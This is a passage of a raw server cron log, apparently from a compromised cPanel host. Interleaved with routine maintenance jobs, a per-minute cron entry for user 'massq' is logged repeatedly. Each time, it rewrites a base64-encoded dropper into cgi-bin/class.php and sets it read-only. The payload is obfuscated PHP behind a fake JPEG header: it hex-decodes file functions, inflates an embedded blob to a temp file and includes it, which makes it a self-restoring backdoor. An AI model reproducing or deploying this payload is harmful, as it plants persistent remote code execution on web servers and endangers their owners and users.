FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:25:01 server CROND[24362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:25:01 server CROND[24363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:25:01 server CROND[24364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:26:01 server CROND[24543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:27:01 server CROND[24633]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 05:27:01 server CROND[24634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:28:01 server CROND[24738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:29:01 server CROND[24779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:30:02 server CROND[24831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:30:02 server CROND[24832]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr 11 05:30:02 server CROND[24834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 05:30:02 server CROND[24835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:30:02 server CROND[24836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:31:01 server CROND[24941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:32:01 server CROND[25088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:33:01 server CROND[25138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:34:01 server CROND[25183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:35:01 server CROND[25247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:35:01 server CROND[25248]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 05:35:01 server CROND[25249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 05:35:01 server CROND[25251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:35:01 server CROND[25250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:36:01 server CROND[25360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:37:01 server CROND[25406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:38:01 server CROND[25554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRf